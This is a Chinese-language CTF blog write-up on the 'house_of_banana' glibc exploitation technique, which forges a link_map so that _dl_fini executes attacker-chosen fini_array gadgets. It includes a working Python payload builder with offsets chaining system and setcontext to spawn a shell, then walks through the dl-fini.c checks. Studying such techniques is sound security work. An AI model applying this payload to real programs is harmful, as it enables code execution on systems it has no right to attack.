house_of_banana是一种全版本通用的针对link_map的打法,函数在main函数/主函数正常返回时会调用到fini_array结构,漏洞代码就在其中,效果是可以执行一大段gadgets,破坏力比起apple2还要强,但是对能够控制的内存长度有要求,需要控制长度长达0x320+,而apple2可以控制在多段0x100内
调试的时候最好把aslr关了,不过还得注意本地和远程ld偏移不一致的问题
关闭aslr进行调试 | hkbin的小博客~ (hkhanbing.github.io)
def house_of_banana(fake_addr, l_next, gadget, count):
fake_content = p64(0) + p64(0) # l_addr keep zero to array
fake_content += p64(0) + p64(l_next) # l_next # check 1 for assert
fake_content += p64(0) + p64(fake_addr) # l_real == _ns_loaded # check 1 for assert
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content += p64(0x8) # check 3
fake_content = fake_content.ljust(0x48, b'\\x00')
fake_content += p64(fake_addr + 0x58) # l->l_info[DT_FINI_ARRAY]->d_un.d_ptr
fake_content += p64(0x8 * count) # gadgets count * 8 # l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
fake_content += gadget # reverse_gadget
fake_content = fake_content.ljust(0x110, b'\\x00')
fake_content += p64(fake_addr + 0x40) # l->l_info[DT_FINI_ARRAY]
fake_content += p64(0) + p64(fake_addr + 0x48) #l->l_info[DT_FINI_ARRAYSZ]
fake_content = fake_content.ljust(0x31c, b'\\x00') # 0x31c / 0x314
fake_content += p64(0x1c) # check 2 to l_init_called
return fake_content
fake_addr = heap_base + 0x490
l_next = libc_base + (0x7ffff7ffe890 - 0x7ffff7c00000)
ret_addr = libc_base + 0x0000000000029cd6
setcontext = libc_base + libc.sym['setcontext']
bin_addr = libc_base + 0x00000000001d8698
gadget = p64(libc_base + libc.sym['system']) + p64(setcontext + 306) + p64(ret_addr) + p64(0)*12 + p64(bin_addr)
fake_content = house_of_banana(fake_addr + 0x10, l_next, gadget, 3)
源码在ELF的dl-fini.c里,这里就不全贴了(在文章最后),挑校验来分析
在代码的第80行
if (l == l->l_real)
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
这一部分需要保持l→l_real和_rtld_global._dl_ns._ns_loaded结构体一致,这是为了能够过掉后面的两个断言,这里的l自然就是_rtld_global._dl_ns._ns_loaded
整个link_map链表的入口就是_rtld_global._dl_ns._ns_loaded,然后再通过l→next来访问别的链表。
链表数量由这个决定:_rtld_global._dl_ns._ns_nloaded
原本默认是4个,而且都能通过l→l_real == l,所以我们也要让我们伪造的能通过
我们知道原来的四个链表是能通过这两个断言校验的